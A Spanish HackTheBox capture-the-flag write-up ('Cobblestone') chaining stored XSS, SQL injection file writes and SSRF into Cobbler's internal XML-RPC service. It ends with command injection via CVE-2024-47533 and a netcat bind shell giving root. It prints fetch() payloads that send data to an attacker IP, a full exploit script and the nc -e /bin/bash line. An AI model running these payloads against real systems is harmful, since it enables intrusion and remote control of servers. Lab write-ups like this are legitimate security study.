Lo que podemos hacer es intentar acceder al servicio aprovechando el XSS, que nos permite realizar acciones desde la propia máquina.\nPara ello, mandamos algo como esto, que hará una solicitud al endpoint localmente y nos mandará (a un servidor en el puerto 80) la respuesta de Cobbler\n1 \u0026lt;script\u0026gt;fetch(\u0026#39;http://127.0.0.1/cobbler_api\u0026#39;).then(response=\u0026gt;response.text()).then(data=\u0026gt;{fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39;+btoa(data));});\u0026lt;/script\u0026gt; Pero si lo mandamos, Firefox muestra \u0026ldquo;500 Internal Server Error: Looks like there’s a problem with this site\u0026rdquo;. Como no sabemos por qué puede ser, miramos el código fuente de suggest_skin.php a través del SQLi, y vemos esto.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if ($_SERVER[\u0026#39;REQUEST_METHOD\u0026#39;] === \u0026#39;POST\u0026#39;) { $user = $_POST[\u0026#39;username\u0026#39;]; $name = $_POST[\u0026#39;name\u0026#39;]; $url = $_POST[\u0026#39;url\u0026#39;]; $stmt = $conn-\u0026gt;prepare(\u0026#34;INSERT INTO suggestions (username, name, url) VALUES (?, ?, ?)\u0026#34;); $stmt-\u0026gt;bind_param(\u0026#34;sss\u0026#34;, $user, $name, $url); if ($stmt-\u0026gt;execute()) { $_SESSION[\u0026#39;suggestion_message\u0026#39;] = \u0026#34;Suggestion has been added succesfully and will be reviewed by an admin.\u0026#34;; $_SESSION[\u0026#39;suggestion_message_type\u0026#39;] = \u0026#34;success\u0026#34;; header(\u0026#34;Location: skins.php\u0026#34;); exit(); } else { $_SESSION[\u0026#39;suggestion_message\u0026#39;] = \u0026#34;Something went wrong submitting your suggestion.\u0026#34;; $_SESSION[\u0026#39;suggestion_message_type\u0026#39;] = \u0026#34;error\u0026#34;; header(\u0026#34;Location: skins.php\u0026#34;); exit(); } $stmt-\u0026gt;close(); } Arreglando el fallo - 1 # Antes de producirse el XSS, el payload se guarda en username o name de la base de datos mediante un INSERT, como string (\u0026ldquo;sss\u0026rdquo;). Como es difícil que sea por los caracteres usados, me planteo si puede ser por la longitud del mensaje. Si probamos a mandar algo que no sea necesariamente malicioso, pero sí muy largo, como username, como esto:\n1 2 # Username (300 caracteres) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Y lo mandamos, obtenemos lo mismo: \u0026ldquo;500 Internal Server Error: Looks like there’s a problem with this site\u0026rdquo;. Es muy probable que sea por longitud, así que podemos usar un payload XSS staged, como este.\n1 2 // XSS en campo username o skin name \u0026lt;script src=\u0026#34;http://10.10.16.82/a.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 1 2 // payload real, archivo a.js fetch(\u0026#39;http://127.0.0.1/cobbler_api\u0026#39;).then(response=\u0026gt;response.text()).then(data=\u0026gt;{fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39;+btoa(data));}); Ahora mandamos esto. Pero tampoco recibimos nada. Dicho esto, podemos probar a crear un archivo local exactamente igual que el nuestro (a.js) mediante el SQLi en /tmp, y solicitarlo. Mandamos esto por el server suggest del subdominio vote:\n1 \u0026#39; UNION SELECT \u0026#34;\u0026lt;script\u0026gt;fetch(\u0026#39;http://127.0.0.1/cobbler_api\u0026#39;).then(response=\u0026gt;response.text()).then(data=\u0026gt;{fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39;+btoa(data));});\u0026lt;/script\u0026gt;\u0026#34;,\u0026#34;//\u0026#34;,\u0026#34;com\u0026#34;,\u0026#34;ent\u0026#34;,\u0026#34;ario\u0026#34; INTO OUTFILE \u0026#34;/tmp/a.js\u0026#34;-- - Ahora mandamos el payload XSS anterior que redirige hacia a.js, pero modificado.\n1 \u0026lt;script src=\u0026#34;/tmp/a.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Y en nuestro server vemos esto:\n1 2 3 4 $ sudo python3 -m http.server -b 10.10.16.82 80 Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.232.170 - - [08/Jun/2026 20:37:08] \u0026#34;GET /a.js HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [08/Jun/2026 20:37:08] \u0026#34;GET /?cobbler_datos=PCEtLSBQcm91ZGx5IGNvZGVkIGJ5IEJpbGx5IChodHRwczovL2J5YmlsbHkudWspIC0tPg0KPCEtLSBWZXJzaW9uOiAxLjkuMiAtLT4NCg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KCTwhLS0gSW5mbyBtZXRhIHRhZ3MsIGltcG9ydGFudCBmb3Igc29jaWFsIG1lZGlhICsgU0VPIC0tPg0KCTx0aXRsZT5Db2JibGVzdG9uZSAtIE9mZmljaWFsIFdlYnNpdGU8L3RpdGxlPg0KDQoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZXNoZWV0LmNzcyI+DQo8L2hlYWQ+DQo8Ym9keT4NCgk8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KCQk8ZGl2IGNsYXNzPSJsb2dvIj4NCgkJCTwhLS0gSW4gdGhlIGltZyBmb2xkZXIsIHVwbG9hZCB5b3VyIGxvZ28gLS0+DQoJCQk8IS0tIE1ha2Ugc3VyZSB5b3UgbmFtZSBpdCAnbG9nby5wbmcnIG9yIHVwZGF0ZSB0aGUgY29kZSBiZWxvdyAtLT4NCgkJCTxpbWcgc3JjPSJpbWcvbG9nby5wbmciIGFsdD0iTXlTZXJ2ZXIgbG9nbyI+DQoJCTwvZGl2Pg0KDQoJCTxkaXYgY2xhc3M9Iml0ZW1zIj4NCgkJCTwhLS0gUmVwbGFjZSAjIHdpdGggeW91ciBmb3J1bSBVUkwtLT4NCgkJCTxhIGhyZWY9Imh0dHA6Ly9kZXBsb3kuY29iYmxlc3RvbmUuaHRiIiBjbGFzcz0iaXRlbSBmb3J1bXMiPg0KCQkJPGRpdj4NCgkJCQk8aW1nIHNyYz0iaW1nL2ZvcnVtcy5wbmciIGFsdD0iTWluZWNyYWZ0IGZvcnVtcyBpY29uIiBjbGFzcz0iaW1nIj4NCgkJCQk8cCBjbGFzcz0ic3VidGl0bGUiPkRlcGxveSB5b3VyIG93biBtaW5lY3JhZnQgc2VydmVyPC9wPg0KCQkJCTxwIGNsYXNzPSJ0aXRsZSI+R2V0IHlvdXIgb3duPC9wPg0KCQkJPC9kaXY+DQoJCQk8L2E+DQoNCgkJCTwhLS0gUmVwbGFjZSAjIHdpdGggeW91ciBzdG9yZSBVUkwgLS0+DQoJCQk8YSBocmVmPSJza2lucy5waHAiIGNsYXNzPSJpdGVtIHN0b3JlIj4NCgkJCTxkaXY+DQoJCQkJPGltZyBzcmM9ImltZy9zdG9yZS5wbmciIGFsdD0iTWluZWNyYWZ0IHN0b3JlIGljb24iIGNsYXNzPSJpbWciPg0KCQkJCTxwIGNsYXNzPSJzdWJ0aXRsZSI+RG93bmxvYWQgc2tpbnMgZm9yIHlvdXIgbWluZWNyYWZ0IGNoYXJhY3RlcjwvcD4NCgkJCQk8cCBjbGFzcz0idGl0bGUiPlNraW4gRGF0YWJhc2U8L3A+DQoJCQk8L2Rpdj4NCgkJCTwvYT4NCg0KCQkJPCEtLSBSZXBsYWNlICMgd2l0aCB5b3VyIHZvdGUgVVJMIC0tPg0KCQkJPGEgaHJlZj0iaHR0cDovL3ZvdGUuY29iYmxlc3RvbmUuaHRiIiBjbGFzcz0iaXRlbSB2b3RlIj4NCgkJCTxkaXY+DQoJCQkJPGltZyBzcmM9ImltZy92b3RlLnBuZyIgYWx0PSJNaW5lY3JhZnQgdm90aW5nIGljb24iIGNsYXNzPSJpbWciPg0KCQkJCTxwIGNsYXNzPSJzdWJ0aXRsZSI+Vm90ZSBmb3IgeW91ciBmYXZvcml0ZSBNaW5lY3JhZnQgU2VydmVyPC9wPg0KCQkJCTxwIGNsYXNzPSJ0aXRsZSI+Vm90ZSAoYmV0YSk8L3A+DQoJCQk8L2Rpdj4NCgkJCTwvYT4NCg0KCQk8L2Rpdj4NCg0KCQk8ZGl2IGNsYXNzPSJwbGF5ZXJjb3VudCI+DQoJCQk8cD5Kb2luIDxzcGFuIGNsYXNzPSJpcCI+MjI5PC9zcGFuPiBvdGhlciBwbGF5ZXJzIG9uIDxzcGFuIGNsYXNzPSJpcCI+bWMuY29iYmxlc3RvbmUuaHRiPC9zcGFuPjwvcD4NCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8c2NyaXB0IHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCgk8c2NyaXB0IHNyYz0ianMvZmlyZWZseS5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCgk8c2NyaXB0IHNyYz0ianMvbWFpbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCg== HTTP/1.1\u0026#34; 200 Si lo decodificamos, vemos que es exactamente el código fuente de la página principal cobblestone.htb, es decir, al usuario del servidor también se le ha redirigido ahí. De todas formas, el XSS ha funcionado, así que, aunque no podemos saberlo al cien por cien, es bastante probable que fuese por la longitud.\nArreglando el fallo - 2 # Tenemos que modificar el payload para que solicite directamente a http://127.0.0.1:25151. Creamos ab.js.\n1 \u0026#39; UNION SELECT \u0026#34;\u0026lt;script\u0026gt;fetch(\u0026#39;http://127.0.0.1:25151\u0026#39;).then(response=\u0026gt;response.text()).then(data=\u0026gt;{fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39;+btoa(data));});\u0026lt;/script\u0026gt;\u0026#34;,\u0026#34;//\u0026#34;,\u0026#34;com\u0026#34;,\u0026#34;ent\u0026#34;,\u0026#34;ario\u0026#34; INTO OUTFILE \u0026#34;/tmp/ab.js\u0026#34;-- - Hacemos lo mismo que con el anterior, uso el archivo local creado con SQLi y el remoto en nuestra máquina, por si uno falla. Esta vez llega algo diferente.\n1 2 3 4 $ sudo python3 -m http.server -b 10.10.16.82 80 Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.232.170 - - [08/Jun/2026 20:54:07] \u0026#34;GET /ab.js HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [08/Jun/2026 20:54:08] \u0026#34;GET /?cobbler_datos=PCFET0NUWVBFIEhUTUw+CjxodG1sIGxhbmc9ImVuIj4KICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgICAgICA8dGl0bGU+RXJyb3IgcmVzcG9uc2U8L3RpdGxlPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGgxPkVycm9yIHJlc3BvbnNlPC9oMT4KICAgICAgICA8cD5FcnJvciBjb2RlOiA1MDE8L3A+CiAgICAgICAgPHA+TWVzc2FnZTogVW5zdXBwb3J0ZWQgbWV0aG9kICgnR0VUJykuPC9wPgogICAgICAgIDxwPkVycm9yIGNvZGUgZXhwbGFuYXRpb246IDUwMSAtIFNlcnZlciBkb2VzIG5vdCBzdXBwb3J0IHRoaXMgb3BlcmF0aW9uLjwvcD4KICAgIDwvYm9keT4KPC9odG1sPgo= HTTP/1.1\u0026#34; 200 - Decodificado:\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Error response\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Error response\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;Error code: 501\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;Message: Unsupported method (\u0026#39;GET\u0026#39;).\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;Error code explanation: 501 - Server does not support this operation.\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Y por primera vez tenemos acceso a Cobbler.\nHablando con Cobbler # Creando un script # A partir de este punto determino que se me iría la cabeza si tuviese que repetir el ciclo de explotación completo cada vez que quisiese hablar a Cobbler, así que hago un script que haga lo mismo.\nEl script queda así (se puede optimizar bastante, pero la verdad a las 3am no me apetecía pensar más.)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import binascii import requests import secrets ip = \u0026#34;10.10.16.82\u0026#34; nombre_archivo = secrets.token_hex(16) ruta_js = f\u0026#34;/tmp/{nombre_archivo}.js\u0026#34; cookies = { # Cada vez que se reinicia la máquina o cambia el PHPSESSID hay que modificarlo aquí, # si no la parte del XSS no funcionará (devolverá 403 Forbidden) \u0026#34;PHPSESSID\u0026#34;: \u0026#34;thk1ial41ceficg5ucgv687799\u0026#34; } with open(\u0026#34;payload.js\u0026#34;, \u0026#34;r\u0026#34;) as f: js_raw = f.read() js_listo = js_raw.replace(\u0026#34;IP\u0026#34;, ip) payload_hex = js_listo.encode(\u0026#39;utf-8\u0026#39;).hex() sqli_query = f\u0026#34;\u0026#39; UNION SELECT 0x{payload_hex}, \u0026#39;//\u0026#39;, \u0026#39;//\u0026#39;, \u0026#39;//\u0026#39;, \u0026#39;//\u0026#39; INTO OUTFILE \u0026#39;{ruta_js}\u0026#39;-- -\u0026#34; # ----- SQLI url_objetivo = \u0026#34;http://vote.cobblestone.htb/suggest.php\u0026#34; datos_post = { \u0026#34;url\u0026#34;: sqli_query, } print(\u0026#34;[*] Mandando solicitud con SQLi...\u0026#34;) try: respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies) if respuesta.status_code == 200: print(\u0026#34;[+] Petición enviada con éxito.\u0026#34;) else if respuesta.status_code == 500: # Es normal que devuelva error 500, pero el exploit normalmante funciona igual. print(f\u0026#34;[-] El servidor ha devuelto un error: {respuesta.status_code}, pero el exploit puede haber funcionado igualmente. Compruébalo.\u0026#34;) else: print(f\u0026#34;[-] El servidor ha devuelto un error: {respuesta.status_code}\u0026#34;) except Exception as e: print(f\u0026#34;[!] Error de conexión: {e}\u0026#34;) # ----- XSS url_objetivo = \u0026#34;http://cobblestone.htb/suggest_skin.php\u0026#34; datos_post = { \u0026#34;username\u0026#34;: \u0026#34;usuario\u0026#34;, \u0026#34;name\u0026#34;: f\u0026#34;\u0026#34;\u0026#34;\u0026lt;script src=\u0026#34;{ruta_js}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026#34;\u0026#34;\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;http://test.com\u0026#34; } print(\u0026#34;[*] Enviando petición POST con Stager hacia Stage local en /tmp...\u0026#34;) try: respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies) if respuesta.status_code == 200: print(\u0026#34;[+] Petición enviada con éxito.\u0026#34;) else: print(f\u0026#34;[-] El servidor ha devuelto un error: {respuesta.status_code}\u0026#34;) except Exception as e: print(f\u0026#34;[!] Error de conexión: {e}\u0026#34;) datos_post = { \u0026#34;username\u0026#34;: \u0026#34;usuario\u0026#34;, \u0026#34;name\u0026#34;: f\u0026#34;\u0026#34;\u0026#34;\u0026lt;script src=\u0026#34;http://{ip}/payload.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026#34;\u0026#34;\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;http://test.com\u0026#34; } print(\u0026#34;[*] Enviando petición POST con Stager hacia Stage en atacante...\u0026#34;) try: respuesta = requests.post(url_objetivo, data=datos_post, cookies=cookies) if respuesta.status_code == 200: print(\u0026#34;[+] Petición enviada con éxito.\u0026#34;) else: print(f\u0026#34;[-] El servidor ha devuelto un error: {respuesta.status_code}\u0026#34;) except Exception as e: print(f\u0026#34;[!] Error de conexión: {e}\u0026#34;) Enumerando # Antes, Cobbler nos ha devuelto Method Unsupported. Cobbler usa POST y necesita el formato XML-RPC. Para ello, tras una búsqueda, encuentro la forma de mandar solicitudes POST con formato XML-RPC a través de JavaScript. De momento no le mandamos nada dentro de los campos, solo el formato bien, para ver qué responde el servicio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // Payload (sin este comentario, porque en una línea única se rompería el payload) var xmlBody = `\u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;get_profiles\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt;`; fetch(\u0026#39;http://127.0.0.1:25151/\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;text/xml\u0026#39; }, body: xmlBody }) .then(response =\u0026gt; response.text()) .then(data =\u0026gt; { fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39; + btoa(data)); }) .catch(error =\u0026gt; { fetch(\u0026#39;http://10.10.16.82:80/?error=\u0026#39; + btoa(error.toString())); }); Y recibimos (tras decodificar de B64):\n1 2 3 4 5 6 7 8 9 \u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodResponse\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt;\u0026lt;array\u0026gt;\u0026lt;data\u0026gt; \u0026lt;/data\u0026gt;\u0026lt;/array\u0026gt;\u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodResponse\u0026gt; Vemos que la respuesta es diferente, lo que significa que ha funcionado. Ahora, donde antes ponía \u0026lt;methodName\u0026gt;get_profiles\u0026lt;/methodName\u0026gt;, ponemos \u0026lt;methodName\u0026gt;version\u0026lt;/methodName\u0026gt;. Lo mandamos y:\n1 2 3 4 5 6 7 8 \u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodResponse\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt;\u0026lt;double\u0026gt;3.306\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodResponse\u0026gt; Es decir, se está usando Cobbler 3.306, o escrito de otra forma, 3.3.6. Si buscamos más acerca de esta versión:\nCVE-2024-47533, CVSS 9.8 CRITICAL: Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue. Es decir, que en teoría podemos autenticarnos (para usar métodos privilegiados) con credenciales '':-1 sin necesidad de conocer las verdaderas. Igualmente, las credenciales por defecto son cobbler:cobbler, convendría probarlas primero. Mandamos esto en la parte superior del .js:\n1 2 3 4 5 6 7 8 9 10 // El primer \u0026lt;param\u0026gt; es USER, el segundo es PASSWORD // Si va bien, el server debería devolver un token var xmlBody = `\u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;login\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt;\u0026lt;value\u0026gt;\u0026lt;string\u0026gt;cobbler\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt;\u0026lt;/param\u0026gt; \u0026lt;param\u0026gt;\u0026lt;value\u0026gt;\u0026lt;string\u0026gt;cobbler\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt;\u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt;`; Y al mandarlo, recibimos nuestro token.\n1 2 3 4 5 6 7 8 \u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodResponse\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt;\u0026lt;string\u0026gt;D2zNqbL8+PHweqpJ76Q+aIw/BibtarMPRw==\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodResponse\u0026gt; Ahora, para solicitudes posteriores, lo metemos en \u0026lt;params\u0026gt;\nConsiguiendo RCE # Si buscamos más acerca del CVE anterior, que de primeras no nos ha servido de nada, encontraremos un post en el que se menciona que mediante el método background_import es posible conseguir RCE a través de un campo \u0026ldquo;name\u0026rdquo;. Un payload podría ser el siguiente (completo):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 var xmlBody = `\u0026lt;?xml version=\u0026#39;1.0\u0026#39;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;background_import\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt; \u0026lt;struct\u0026gt; \u0026lt;member\u0026gt; \u0026lt;name\u0026gt;path\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; \u0026lt;string\u0026gt;~/tmp\u0026lt;/string\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/member\u0026gt; \u0026lt;member\u0026gt; \u0026lt;name\u0026gt;name\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; \u0026lt;string\u0026gt;$(curl 10.10.16.82/itworked)\u0026lt;/string\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/member\u0026gt; \u0026lt;/struct\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;param\u0026gt;\u0026lt;value\u0026gt;\u0026lt;string\u0026gt;D2zNqbL8+PHweqpJ76Q+aIw/BibtarMPRw==\u0026lt;/string\u0026gt;\u0026lt;/value\u0026gt;\u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt;`; fetch(\u0026#39;http://127.0.0.1:25151/\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;text/xml\u0026#39; }, body: xmlBody }) .then(response =\u0026gt; response.text()) .then(data =\u0026gt; { fetch(\u0026#39;http://10.10.16.82:80/?cobbler_datos=\u0026#39; + btoa(data)); }) .catch(error =\u0026gt; { fetch(\u0026#39;http://10.10.16.82:80/?error=\u0026#39; + btoa(error.toString())); }); Aquí, el payload es curl 10.10.16.82/itworked (nuestra IP), y el segundo parámetro (D2zNq...MPRw==) es el token que hemos recibido antes, que cambia con cada sesión. Si lo mandamos, desde el servidor web vemos esto.\n1 2 3 4 5 10.129.232.170 - - [10/Jun/2026 13:39:08] \u0026#34;GET /?cobbler_datos=PD94bWwgdmVyc2lvbj0nMS4wJz8+CjxtZXRob2RSZXNwb25zZT4KPHBhcmFtcz4KPHBhcmFtPgo8dmFsdWU+PHN0cmluZz4yMDI2LTA2LTEwXzEyMzkwOF9NZWRpYSBpbXBvcnRfYjQzN2IxMTdjY2U0NDQ5YTgxNGNhODZjZDNmM2QxZjE8L3N0cmluZz48L3ZhbHVlPgo8L3BhcmFtPgo8L3BhcmFtcz4KPC9tZXRob2RSZXNwb25zZT4K HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [10/Jun/2026 13:39:08] code 404, message File not found 10.129.232.170 - - [10/Jun/2026 13:39:08] \u0026#34;GET /itworked HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [10/Jun/2026 13:39:08] code 404, message File not found 10.129.232.170 - - [10/Jun/2026 13:39:08] \u0026#34;GET /itworked HTTP/1.1\u0026#34; 404 - Así que efectivamente hemos conseguido RCE.\nHabiendo comprobado que teníamos conectividad desde el servidor hacia afuera y tras mandar bastantes payloads de reverse shell, veo que no funcionaba ninguno (mkfifo, bash, php, etc.) por algún motivo desconocido, aunque posiblemente se tratase de un problema al codificar el payload, teniendo en cuenta que el payload es un payload anidado unas 3 veces en diferentes lenguajes. Pasado un rato, se me ocurre mandar uno de los más sencillos que puedo, un bind shell con nc, sin más.\n1 2 // Mandamos esto como nombre. \u0026lt;string\u0026gt;$(/usr/bin/nc -lvnp 9001 -e /bin/bash)\u0026lt;/string\u0026gt; Ahora ejecutamos el script.\n1 2 3 4 5 6 7 $ python3 script.py [*] Mandando solicitud con SQLi... [-] El servidor ha devuelto un error: 500, pero el exploit puede haber funcionado igualmente. Compruébalo. [*] Enviando petición POST con Stager hacia Stage local en /tmp... [+] Petición enviada con éxito. [*] Enviando petición POST con Stager hacia Stage en atacante... [+] Petición enviada con éxito. Esperamos a recibir una solicitud HTTP a nuestro servidor. Una vez la recibimos, comprobamos si el puerto está abierto.\n1 2 3 4 5 6 7 $ nmap cobblestone.htb -p9001 Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-10 14:31 -0400 Nmap scan report for cobblestone.htb (10.129.232.170) Host is up (0.051s latency). PORT STATE SERVICE 9001/tcp open tor-orport Así que nos conectamos.\n1 2 3 $ ncat cobblestone.htb 9001 whoami root Y, finalmente, tenemos root.\n","date":"10 de junio de 2026","externalUrl":null,"permalink":"/writeups/cobblestone/","section":"Writeups","summary":"OS: Linux | Dificultad: Insane | Conceptos: Apache, Vulnerabilidades encadenadas, SQLi, LFI, XSS, SSRF, Cobbler, Script custom, XML-RPC, CVE Público","title":"HackTheBox - Cobblestone","type":"writeups"},{"content":"Máquinas y challenges de dificultad crazy 😮 o equivalente.\n","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/insane/","section":"Tags","summary":"Máquinas y challenges de dificultad crazy 😮 o equivalente.\n","title":"Insane","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/lfi/","section":"Tags","summary":"","title":"LFI","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/minecraft/","section":"Tags","summary":"","title":"Minecraft","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/sqli/","section":"Tags","summary":"","title":"SQLi","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/ssrf/","section":"Tags","summary":"","title":"SSRF","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/xml-rpc/","section":"Tags","summary":"","title":"XML-RPC","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/xss/","section":"Tags","summary":"","title":"XSS","type":"tags"},{"content":"","date":"6 de junio de 2026","externalUrl":null,"permalink":"/tags/command-injection/","section":"Tags","summary":"","title":"Command Injection","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. Datos Iniciales: 10.129.13.27 Enumeración # Hacemos un escaneo inicial de puertos, encontramos lo siguiente.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ sudo nmap -sT -Pn -p- 10.129.13.27 # Encuentra puertos 22,80,443 $ sudo nmap -sT -Pn -p22,80,443 -sVC 10.129.13.27 # Indica did not follow redirect to http://connected.htb/, lo añadimos a /etc/hosts PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA) | 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA) |_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16) | http-title: 404 Not Found |_Requested resource was config.php |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16 | http-robots.txt: 1 disallowed entry |_/ 443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16) |_http-title: 400 Bad Request |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16 | ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2025-11-30T14:07:27 |_Not valid after: 2026-11-30T14:07:27 |_ssl-date: TLS randomness does not represent time # Nada en UDP Top 50 Encontramos varios servicios e info relevante:\n22/tcp (OpenSSH 7.4): Varias vulnerabilidades relevantes, de momento no nos sirven pero pueden ser útiles más adelante. CVE-2016-10708: Potencial 